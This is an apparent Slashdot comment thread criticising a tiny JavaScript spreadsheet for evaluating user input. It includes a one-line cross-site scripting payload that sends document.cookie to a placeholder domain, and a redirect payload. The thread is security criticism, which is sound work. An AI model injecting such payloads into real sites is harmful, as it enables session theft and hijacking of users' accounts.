Re:A spreadsheet in fewer than 30 lines of JavaScript, no li...
by araskoktas on Wednesday November 13, 2013 @12:09PM
(#6726572)
document.write('<img src="somedomain.com/?'+document.cookie);
[ Parent
| on HN ]
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li...
by cosarara97 on Wednesday November 13, 2013 @12:30PM
(#6726757)
But you'd need to send a spreadsheet with that to the victim.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li...
by araskoktas on Wednesday November 13, 2013 @01:41PM
(#6727350)
Well yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li...
by genericacct on Wednesday November 13, 2013 @12:18PM
(#6726643)
have you heard of the HttpOnly attribute for cookies?
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li...
by araskoktas on Wednesday November 13, 2013 @01:39PM
(#6727329)
good, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.
Re:A spreadsheet in fewer than 30 lines of JavaScript, no li...
by genericacct on Wednesday November 13, 2013 @02:21PM
(#6727688)
I most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..